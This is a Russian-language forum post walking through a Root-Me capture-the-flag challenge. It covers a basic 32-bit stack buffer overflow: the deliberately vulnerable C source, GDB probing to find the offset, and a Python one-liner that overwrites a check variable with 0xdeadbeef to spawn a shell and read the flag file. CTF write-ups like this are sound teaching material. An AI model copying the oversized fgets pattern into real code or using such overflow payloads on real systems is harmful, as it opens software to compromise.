PDA

Просмотр полной версии : Root-Me, App-System, ELF x86 - Stack buffer overflow basic 1


fuzzz
10.05.2019, 15:41
App-System, ELF x86 - Stack buffer overflow basic 1

Environment configuration :

PIEPosition Independent Executable

RelRORead Only relocations

NXNon-Executable Stack

Heap execNon-Executable Heap

ASLRAddress Space Layout Randomization

SFSource Fortification

SRCSource code access

Source code:

C:



#include
#include
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int
main
(
)
{
int
var
;
int
check
=
0x04030201
;
char
buf
[
40
]
;
fgets
(
buf
,
45
,
stdin
)
;
printf
(
"\n[buf]: %s\n"
,
buf
)
;
printf
(
"[check] %p\n"
,
check
)
;
if
(
(
check
!=
0x04030201
)
&&
(
check
!=
0xdeadbeef
)
)
printf
(
"\nYou are on the right way!\n"
)
;
if
(
check
==
0xdeadbeef
)
{
printf
(
"Yeah dude! You win!\nOpening your shell...\n"
)
;
system
(
"/bin/dash"
)
;
printf
(
"Shell closed! Bye.\n"
)
;
}
return
0
;
}


Решение
Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef"после чего откроется шелл и можно будет получить флаг.

Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной.


gdb -q ./ch13
r
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM MMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY ZZZZ
q


https://forum.antichat.xyz/attachments/29020379/img_722496e70a.png

Видно такую конструкцию


[buf]: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
[check] 0x4b4b4b4b


эти данные говорят

[buf] что это та строчка которая влезла в буфер и за его пределы
[check] текущие значение переменной

Запустим Python чтобы вычислить размер строки и для того, чтобы узнать что это за значение хранится в переменной check.


python
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK")
chr(0x4b)
quit()


https://forum.antichat.xyz/attachments/29020379/img_1a34d011e5.png

Видно и становится ясно, что это 0x4b4b4b4b == "KKKK"

По условию задания check должен быть значению 0xdeadbeefтогда откроется шелл, после чего можно получить флаг.

Составим эксплойт.

40 байт пойдут в буфер, а следующие 4 на перезапись переменной check куда мы положим значение 0xdeadbeef.

Чтобы не мучатся, адреса воспользуемся модулем struct.


(python -c 'from struct import pack;print "A"*40 + pack("I",0xdeadbeef)';cat) | ./ch13


затем с помощью cat узнаем содержимое .passwd


cat .passwd



Сtrl+D

- выход.

https://forum.antichat.xyz/attachments/29020379/img_0b3603e549.png

Вот таким образом можно получить флаг.